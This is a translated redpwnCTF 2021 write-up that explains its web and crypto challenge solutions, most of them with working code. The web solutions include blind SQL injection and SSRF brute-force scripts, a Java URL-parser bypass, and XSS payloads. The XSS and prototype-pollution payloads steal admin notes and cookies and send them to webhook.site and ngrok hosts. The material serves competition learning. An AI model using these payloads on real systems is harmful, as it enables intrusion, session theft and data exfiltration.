redpwnCTF 2021 WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

The challenges of redpwnCTF 2021 were quite interesting, ranging from extremely simple to difficult ones, and we ended up in 18th place.

Challenges marked with * in the title are those I attempted but didn't solve during the competition and solved only after it ended.

Web

inspect-me

Directly view the source code.

orm-bad

Standard ' or 1=1;--.

pastebin-1

Basic XSS, just grabbing cookies.

secure

Use curl or similar to directly send requests, bypassing the JS on the page to perform SQL injection, similar to orm-bad.

cool

You can find out that there is a character limit on the password during registration due to SQL injection, but since it's an insert, it can't be directly reflected. The method is to use the target account ginkoid which is the first entry in the database, directly '||(select password from users)||' can change the password of the newly registered account to ginkoid's password. Combining with substr, you can change the password of the new account to a specific character, then brute force the new account's password to find out that character. Repeatedly registering accounts and performing blind SQL injection will eventually reveal the password. After logging in as ginkoid, the flag is at the end of the mp3 (directly cat).

import httpx
import random

client = httpx.Client(http2=True)


def register(username, password):
    resp = client.post(
        "https://cool.mc.ax/register",
        data={"username": username, "password": password},
        allow_redirects=False,
    )
    client.cookies.clear()
    return "redirected automatically" in resp.text


def login(username, password):
    resp = client.post(
        "https://cool.mc.ax",
        data={"username": username, "password": password},
        allow_redirects=False,
    )
    client.cookies.clear()
    return "Incorrect username or password" not in resp.text


chrs = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789"


def generate_token():
    return "".join(random.choice(list(chrs)) for _ in range(32))


pwd = "eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3"
while len(pwd) < 32:
    u = generate_token()
    print(u)
    assert register(
        u, f"'||substr((select password from users),{str(len(pwd) + 1)},1)||'"
    )

    for c in chrs:
        if login(u, c):
            pwd += c
            break
    print(pwd)

Requester

This challenge involves a Java server with two APIs: /testAPI which can perform SSRF GET or POST, and /createUser which creates a new user in CouchDB and inserts a flag document.

/testAPI checks if the hostname is couchdb, and if so, it rejects the request. This can be bypassed using uppercase: Couchdb. Another method is URL encoding: %63ouchdb.

Although it can perform SSRF, there is no response echo. You can use the property of /testAPI checking if the response contains the flag, combined with CouchDB's REST API to perform regex queries to brute force one character at a time.

import httpx
import json
import string

client = httpx.Client(http2=True)


def testRegex(rgx):
    resp = client.get(
        "https://requester.mc.ax/testAPI",
        params={
            "url": "http://supernene:supernene@Couchdb:5984/supernene/_find",
            "method": "POST",
            "data": json.dumps({"selector": {"flag": {"$regex": rgx}}}),
        },
    )
    return "Something went wrong" in resp.text


chrs = "{_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase

flag = "flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}"
while not flag.endswith("}"):
    for c in chrs:
        rgx = f"^{flag+c}.*$"
        if testRegex(rgx):
            flag += c
            break
    print(flag)

notes

The tag part of this note can have up to 10 characters of XSS, which can be combined using multiple payloads. For example, I used <svg><set onend='...' dur=1> as the payload, which can be split into segments of less than 10 characters. The actual JS part uses template literals (which require fewer characters than /* ... */) to ignore extra HTML, and the JS can be placed in the body with no length limit.

Although only notes with tag == 'public' are displayed, the source code shows that the admin has permission to see everyone's notes, so direct XSS.

import requests

username = "pekomiko.mJK%2FW1xIUBOtdrDLYZH68Anq1JJ2av9kTfKvk9qv28E"


def add_note(body, tag):
    resp = requests.post(
        "https://notes.mc.ax/api/notes",
        cookies={"username": username},
        json={"body": body, "tag": tag},
    )
    return resp.json()


data = [
    {"body": "test", "tag": "<svg y='"},
    {"body": "test", "tag": "'><set x='"},
    {"body": "test", "tag": "'onend='`"},
    {
        "body": "`;fetch(`/api/notes/admin`).then(function(r){return r.text()}).then(function(r){location.href=`https://webhook.site/e9f9ee2f-1b87-4d45-81a3-6d1c79e77a51?data=`+encodeURIComponent(r)})`",
        "tag": "`' x='",
    },
    {"body": "tests", "tag": "`'dur=1 '"},
    {"body": "tests", "tag": "'></set>"},
]


for x in data:
    print(add_note(x["body"], x["tag"]))

If the admin cannot see non-public notes

In the source code, there is a line if (req.auth.username === 'admin') return notes;, but I didn't see this line while solving, so I was thinking about how to display non-public notes to the XSS bot. I used a technique similar to this part from Google CTF 2020, using XSS from other challenges. Since they are just on different subdomains, you can use them to set cookies for a specific path.

For example, I put the following content in pastebin-1, then let the notes bot visit the page below, set the cookie first, and then redirect to succeed.

<script>
	set = function (x) {
		document.cookie = x + ';domain=mc.ax;path=/view/pekomiko'
	}
	set('username=pekomiko.mJK%2FW1xIUBOtdrDLYZH68Anq1JJ2av9kTfKvk9qv28E')
	location.href = 'https://notes.mc.ax/view/pekomiko'
</script>

requester-strikes-back

This challenge is an advanced version of Requester, with the only difference being the URL check. It lowercases the hostname and checks if it is couchdb, then decodes the URL according to URL encoding rules and checks the hostname again, so the previous bypass methods don't work.

It can be found that it uses new URL(url).getHost() to check the host, while the request part uses URI.create(url) for Apache HttpCore HttpClient processing. This may cause issues due to different URL parsers. Orange Tsai has a great presentation introducing potential issues caused by different URL parsers: A New Era of SSRF - Exploiting URL Parser in Trending Programming Languages!

I manually fuzzed and found a URL like this: http://a@couchdb%00@a:5984, which returns null with new URL(url).getHost(), but is parsed as couchdb in Apache HttpCore, allowing requests to http://couchdb:5984.

So, just slightly modify the previous script:

import httpx
import json
import string

client = httpx.Client(http2=True)


def testRegex(rgx):
    resp = client.get(
        "https://requester-strikes-back.mc.ax/testAPI",
        params={
            "url": "http://supernene:supernene@couchdb%00@x:5984/supernene/_find",
            "method": "POST",
            "data": json.dumps({"selector": {"flag": {"$regex": rgx}}}),
        },
    )
    return "Something went wrong" in resp.text


chrs = "{_}" + string.digits + string.ascii_lowercase + string.ascii_uppercase

flag = "flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}"
while not flag.endswith("}"):
    for c in chrs:
        rgx = f"^{flag+c}.*$"
        if testRegex(rgx):
            flag += c
            break
    print(flag)

Actually, there is an even simpler payload: http://a@couchdb:5984@a, but this was fixed in version 4.5.13. However, the challenge uses 4.5.12, so it doesn't matter. My %00 payload works in the latest version (4.5.13), indicating I found a new unknown bug.

pastebin-2-social-edition

This challenge's pastebin content uses the latest version of DOMPurify to filter, allowing some basic HTML but not <script>. The admin bot not only visits but also leaves comments in the paste page's comment section.

The only chance for XSS is when it submits a comment and sees an error, it inserts the error message into the page using innerHTML. So the goal is to create an error with a custom message.

I couldn't find any server-side method to generate a custom error message, but there is a chance for prototype pollution in the form serialization part. You can use form dom clobbering to pollute Object.prototype.error and Object.prototype.message, inserting fake error messages.

Two things to note: first, DOMPurify seems to automatically filter name=__proto__, but other names appear normally. I bypassed this using URL encoding: %5f%5fproto%5f%5f (since it decodes). Second, the homepage decodes the URL before submitting, so remember to execute decodeURIComponent = x => x before submitting (ignore this if using curl).

<form>
	<fieldset name="params">
		<div id="username">
			<label for="author">Username:</label>
			<input value="c8763" type="text" name="author" />
		</div>
		<div id="content">
			<label for="content">Comment:</label>
			<textarea name="content">c8763</textarea>
		</div>
		<input type="submit" value="Post Comment" />
		<input disabled="" value="c8763" type="text" name="author" />
		<textarea disabled="" name="content">c8763</textarea>
	</fieldset>
	<fieldset name="%5f%5fproto%5f%5f">
		<input value="asd" name="error" />
		<input
			value="%3Cimg%20src%3D1%20onerror%3D%22location.href%3D'https%3A%2F%2Fwebhook.site%2Fe9f9ee2f-1b87-4d45-81a3-6d1c79e77a51%3Fdata%3D'%2BencodeURIComponent(document.cookie)%22%3E"
			name="message"
		/>
	</fieldset>
</form>
<!-- Run `decodeURIComponent = x => x` in console before submitting!!! -->

pastebin-3

The challenge is a service for creating and searching pastes, displayed in an iframe under the subdomain sandbox.pastebin-3.mc.ax. You can directly XSS in the subdomain using backticks: `+alert(1)+`. The flag is hidden in one of the admin's pastes.

Unintended Solution

The source code shows that the search function uses Python's generator with next(), so it lazily finds the first search result. The flag is in the admin's first paste.

The method is to use CSRF to create many pastes with lots of junk content, e.g., 10000 entries of "a" * 1024. Searching for flag{ will quickly find the first result, while searching for flagx will take longer due to the long strings, significantly increasing response time.

Then, refer to XSLeaks - Network Timing to implement a timing attack to leak the flag.

I used subdomain XSS to load xss.js from my server for easier modification.

xss.js:

function timeurl(url) {
	return new Promise(res => {
		const start = performance.now()

		fetch(url, {
			mode: 'no-cors',
			credentials: 'include'
		})
			.then(() => {
				res(performance.now() - start)
			})
			.catch(() => {
				res(performance.now() - start)
			})
	})
}

async function avgRespTime(url, n = 3) {
	let sum = 0
	for (let i = 0; i < n; i++) {
		sum += await timeurl(url)
	}
	return sum / n
}

function log(...args) {
	console.log(...args)
	return fetch('https://9a5c8db108b9.ngrok.io?log=' + args).catch(e => e)
}

function createPaste(paste) {
	const ifr = document.createElement('iframe')
	ifr.srcdoc = `<form id=frm action=https://pastebin-3.mc.ax/create_paste method=post><textarea name=paste>${paste}</textarea></form><script>frm.submit()</script>`
	document.body.appendChild(ifr)
}

;(async () => {
	// increase timing accuracy
	// for (let i = 0; i < 10000; i++) {
	// 	createPaste(
	// 		'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
	// 	)
	// }
	// log('done')

	// some sanity check
	log('TEST:flag', await avgRespTime('https://pastebin-3.mc.ax/search?query=flag'))
	log('TEST:flaga', await avgRespTime('https://pastebin-3.mc.ax/search?query=flaga'))

	// random pinging
	setInterval(() => fetch('https://example.com'), 1000)

	// bruteforce the flag
	const charset = '{_}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
	let flag = 'flag{c00k13_b0mb1n6_15_f4k3_vuln}'
	while (true) {
		for (const c of charset) {
			const t = await avgRespTime(`https://pastebin-3.mc.ax/search?query=${flag + c}`)
			if (t < 150) {
				flag += c
				log(flag, t)
				break
			}
		}
		if (flag.endsWith('}')) {
			break
		}
	}
})()

First, execute the increase timing accuracy part, then only the latter part in subsequent attempts. Due to the XSS bot's timeout, you need to observe and record the known flag parts, repeating many times to get the complete flag.

Although unintended, many people solved it this way according to the author.

Intended Solution

Notice that the search results are displayed using Flask's flash, which stores messages in the session, causing cookie length changes. Using Gunicorn's default HTTP header size limit of about 8k, exceeding it results in HTTP 400. By filling the cookie to near capacity, you can control the cookie size to determine if the search found the string, leaking the flag. This method is called Cookie Bomb.

Someone else's solution: https://gist.github.com/parrot409/6782796ba9be2088a57a679c27f4e037

*wtjs

This challenge is a JS golf challenge with only ()*+=>[]_ characters, first blooded with a 342-character limit.

The core concept is to use window.name to store the actual payload, so you need to construct Function(Function('return name')())() to XSS and grab the cookie.

I mainly referred to JSF**k with only 5 symbols? to construct characters, then tried to simplify. However, I only managed to reduce it to 346 characters before the competition ended:

(___=(___=[][(____=[(_=[]**[])>_]+_)[+[]]+____[_+_]+____[_]+(__=[_>[]]+_)[+[]]])[_____=(___+_)[_+_+_]+(______=(__+___+[])[_+[]+_])+(___+_)[_+_]+____[_+_+_]+__[+[]]+__[_]+__[_+_]+(___+_)[_+_+_]+__[+[]]+______+__[_]])(___(__[_]+__[_+_+_]+__[+[]]+__[_+_]+__[_]+(___+_)[_+_]+(___+_)[_+_+[]+_]+(___+_)[_+_]+____[_]+(_[_____]+_)[_+[]+_]+__[_+_+_])())()

I wrote a script to construct it, using some greedy strategies to automatically determine the best variable name allocation, but the inline part was handled manually. It took two hours to reduce from around 420 to 346 characters, but I still didn't solve it.

The script's direct output is 345 characters:

const MAP = {
	one: '[]**[]',
	fl: '[ONE>ONE]+ONE', // 'false1'
	tr: '[ONE>[]]+ONE', // 'true1'
	f: 'FL[+[]]',
	l: 'FL[ONE+ONE]',
	flat: '[][F+L+FL[ONE]+TR[+[]]]',
	o: '(TR+FLAT)[ONE+[ONE]]',
	s: 'FL[ONE+ONE+ONE]',
	constructor:
		'(FLAT+ONE)[ONE+ONE+ONE]+O+(FLAT+ONE)[ONE+ONE]+S+TR[+[]]+TR[ONE]+TR[ONE+ONE]+(FLAT+ONE)[ONE+ONE+ONE]+TR[+[]]+O+TR[ONE]',
	space: '(FLAT+ONE)[ONE+ONE+ONE+[ONE]]',
	m: '(ONE[CONSTRUCTOR]+ONE)[ONE+[ONE]]',
	returnname:
		'TR[ONE]+TR[ONE+ONE+ONE]+TR[+[]]+TR[ONE+ONE]+TR[ONE]+(FLAT+ONE)[ONE+ONE]+SPACE+(FLAT+ONE)[ONE+ONE]+FL[ONE]+M+TR[ONE+ONE+ONE]',
	payload: 'FLAT[CONSTRUCTOR](FLAT[CONSTRUCTOR](RETURNNAME)())()'
}

const idmp = Object.create(null)
const idfreq = Object.create(null)
let idcnt = 1
let id = name => {
	if (!(name in idfreq)) idfreq[name] = 0
	idfreq[name] += 1
	if (name in idmp) return idmp[name]
	idmp[name] = '_'.repeat(idcnt++)
	return '(' + idmp[name] + '=' + get(name) + ')'
}

let get = name => {
	return MAP[name].replace(/[A-Z]+/g, m => id(m.toLowerCase()))
}

let code = id('payload')

global.name = 'console.log(48763)'

console.log(!code.match(/^[\(\)\*\+=>\[\]_]*$/))
console.log(code)
console.log(code.length)
// console.log(eval(code))

console.log(idfreq)

console.log('\ngreddy var name optimization\n')

const times = Object.create(null)
id = name => {
	const sorted = Object.entries(idfreq).sort((a, b) => b[1] - a[1])
	const idt = '_'.repeat(sorted.findIndex(x => x[0] == name) + 1)
	if (idfreq[name] == 1) {
		return get(name)
	}
	if (!(name in times)) {
		times[name] = 1
		console.log(name, 'FIRST', idt.length)
		return `(${idt}=${get(name)})`
	}
	console.log(name)
	times[name] += 1
	return idt
}

code = id('payload')

global.name = 'console.log(48763)'

console.log(!code.match(/^[\(\)\*\+=>\[\]_]*$/))
console.log(code)
console.log(code.length)
console.log(eval(code))

console.log(times)

Then, use uglify to reduce by two characters, and override the ___ ([].flat) function to Function, reducing by five characters, resulting in a 340-character version:

(___=(___=[][(____=[(_=[]**[])>_]+_)[+[]]+____[_+_]+____[_]+(__=[_>[]]+_)[+[]]])[_____=(___+_)[_+_+_]+(______=(__+___)[_+[_]])+(___+_)[_+_]+____[_+_+_]+__[+[]]+__[_]+__[_+_]+(___+_)[_+_+_]+__[+[]]+______+__[_]])(___(__[_]+__[_+_+_]+__[+[]]+__[_+_]+__[_]+(___+_)[_+_]+(___+_)[_+_+[_]]+(___+_)[_+_]+____[_]+(_[_____]+_)[_+[_]]+__[_+_+_])())()

Another mentioned technique is using Function("_=name")()+Function(_)(), with _ and = constructed using (_=>_)+[], achieving 323 (or even shorter) characters.

Crypto

scissor

ROT cipher with an unknown shift.

baby

nn is very small, directly factorize.

round-the-bases

A bunch of strange messages, but they seem to follow a pattern. By observing with the naked eye, it looks like 0s and 1s, so I directly used 0s and 1s to solve the flag.

with open("round-the-bases") as f:
    data = f.read()

bits = ""
flag = ""
for x in data.split("9mTfc:..Zt9mTZ_:"):
    if not x:
        continue
    if x.startswith("II"):
        bits += "0"
    elif x.startswith("K0"):
        bits += "1"
    if len(bits) == 8:
        c = chr(int(bits, 2))
        flag += c
        bits = ""

print(flag)

Others said it was a mix of encodings: [CyberChef](https://gchq.github.io/CyberChef/#recipe=From\_Base85('!-u')From\_Base64('A-Za-z0-9%2B/%3D',true)From\_Hex('None')From\_Decimal('Space',false)From\_Octal('Space')From\_Binary('None',8)\&input=OW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOklJY3U5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA5bVROWzlrbTdEOW1UZmM6Li5adDltVFpfOkswbzA